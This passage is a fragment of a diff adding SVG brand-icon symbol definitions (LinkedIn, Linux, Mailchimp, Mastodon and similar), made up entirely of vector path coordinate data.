1.4l32.6 44v-42.2c0-1.8 1.4-3.2 3.2-3.2h11.4c1.8-.1 3.3 1.4 3.3 3.1zm-82-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 1.8 1.4 3.2 3.2 3.2h11.4c1.8 0 3.2-1.4 3.2-3.2v-71.1c0-1.7-1.4-3.2-3.2-3.2zm-27.5 59.6h-31.1v-56.4c0-1.8-1.4-3.2-3.2-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 .9.3 1.6.9 2.2.6.5 1.3.9 2.2.9h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.7-1.4-3.2-3.1-3.2zM332.1 201h-45.7c-1.7 0-3.2 1.4-3.2 3.2v71.1c0 1.7 1.4 3.2 3.2 3.2h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2V234c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2v-11.4c-.1-1.7-1.5-3.2-3.2-3.2zM448 113.7V399c-.1 44.8-36.8 81.1-81.7 81H81c-44.8-.1-81.1-36.9-81-81.7V113c.1-44.8 36.9-81.1 81.7-81H367c44.8.1 81.1 36.8 81 81.7zm-61.6 122.6c0-73-73.2-132.4-163.1-132.4-89.9 0-163.1 59.4-163.1 132.4 0 65.4 58 120.2 136.4 130.6 19.1 4.1 16.9 11.1 12.6 36.8-.7 4.1-3.3 16.1 14.1 8.8 17.4-7.3 93.9-55.3 128.2-94.7 23.6-26 34.9-52.3 34.9-81.5z"></path> + </symbol> + <symbol id="linkedin" viewBox="0 0 448 512"> + <path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z"></path> + </symbol> + <symbol id="linkedin-in" viewBox="0 0 448 512"> + <path d="M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z"></path> + </symbol> + <symbol id="linode" viewBox="0 0 448 512"> + <path d="M437.4 226.3c-.3-.9-.9-1.4-1.4-2l-70-38.6c-.9-.6-2-.6-3.1 0l-58.9 36c-.9.6-1.4 1.7-1.4 2.6l-.9 31.4-24-16c-.9-.6-2.3-.6-3.1 0L240 260.9l-1.4-35.1c0-.9-.6-2-1.4-2.3l-36-24.3 33.7-17.4c1.1-.6 1.7-1.7 1.7-2.9l-5.7-132.3c0-.9-.9-2-1.7-2.6L138.6.3c-.9-.3-1.7-.3-2.3-.3L12.6 38.6c-1.4.6-2.3 2-2 3.7L38 175.4c.9 3.4 34 27.4 38.6 30.9l-26.9 12.9c-1.4.9-2 2.3-1.7 3.4l20.6 100.3c.6 2.9 23.7 23.1 27.1 26.3l-17.4 10.6c-.9.6-1.7 2-1.4 3.1 1.4 7.1 15.4 77.7 16.9 79.1l65.1 69.1c.6.6 1.4.6 2.3.9.6 0 1.1-.3 1.7-.6l83.7-66.9c.9-.6 1.1-1.4 1.1-2.3l-2-46 28 23.7c1.1.9 2.9.9 4 0l66.9-53.4c.9-.6 1.1-1.4 1.1-2.3l2.3-33.4 20.3 14c1.1.9 2.6.9 3.7 0l54.6-43.7c.6-.3 1.1-1.1 1.1-2 .9-6.5 10.3-70.8 9.7-72.8zm-204.8 4.8l4 92.6-90.6 61.2-14-96.6 100.6-57.2zm-7.7-180l5.4 126-106.6 55.4L104 97.7l120.9-46.6zM44 173.1L18 48l79.7 49.4 19.4 132.9L44 173.1zm30.6 147.8L55.7 230l70 58.3 13.7 93.4-64.8-60.8zm24.3 117.7l-13.7-67.1 61.7 60.9 9.7 67.4-57.7-61.2zm64.5 64.5l-10.6-70.9 85.7-61.4 3.1 70-78.2 62.3zm82-115.1c0-3.4.9-22.9-2-25.1l-24.3-20 22.3-14.9c2.3-1.7 1.1-5.7 1.1-8l29.4 22.6.6 68.3-27.1-22.9zm94.3-25.4l-60.9 48.6-.6-68.6 65.7-46.9-4.2 66.9zm27.7-25.7l-19.1-13.4 2-34c.3-.9-.3-2-1.1-2.6L308 259.7l.6-30 64.6 40.6-5.8 66.6zm54.6-39.8l-48.3 38.3 5.7-65.1 51.1-36.6-8.5 63.4z"></path> + </symbol> + <symbol id="linux" viewBox="0 0 448 512"> + <path d="M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z"></path> + </symbol> + <symbol id="lyft" viewBox="0 0 512 512"> + <path d="M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z"></path> + </symbol> + <symbol id="magento" viewBox="0 0 448 512"> + <path d="M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z"></path> + </symbol> + <symbol id="mailchimp" viewBox="0 0 448 512"> + <path d="M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z"></path> + </symbol> + <symbol id="mandalorian" viewBox="0 0 448 512"> + <path d="M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z"></path> + </symbol> + <symbol id="markdown" viewBox="0 0 640 512"> + <path d="M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z"></path> + </symbol> + <symbol id="mastodon" viewBox="0 0 448 512"> + <path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"></path> + </symbol> + <symbol id="maxcdn" viewBox="0 0 512 512"> + <path d="M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z"></path> + </symbol> + <symbol id="mdb" viewBox="0 0 576 512"> + <path d="M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z"></path> + </symbol> + <symbol id="medapps" viewBox="0 0 320 512"> + <path d="M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 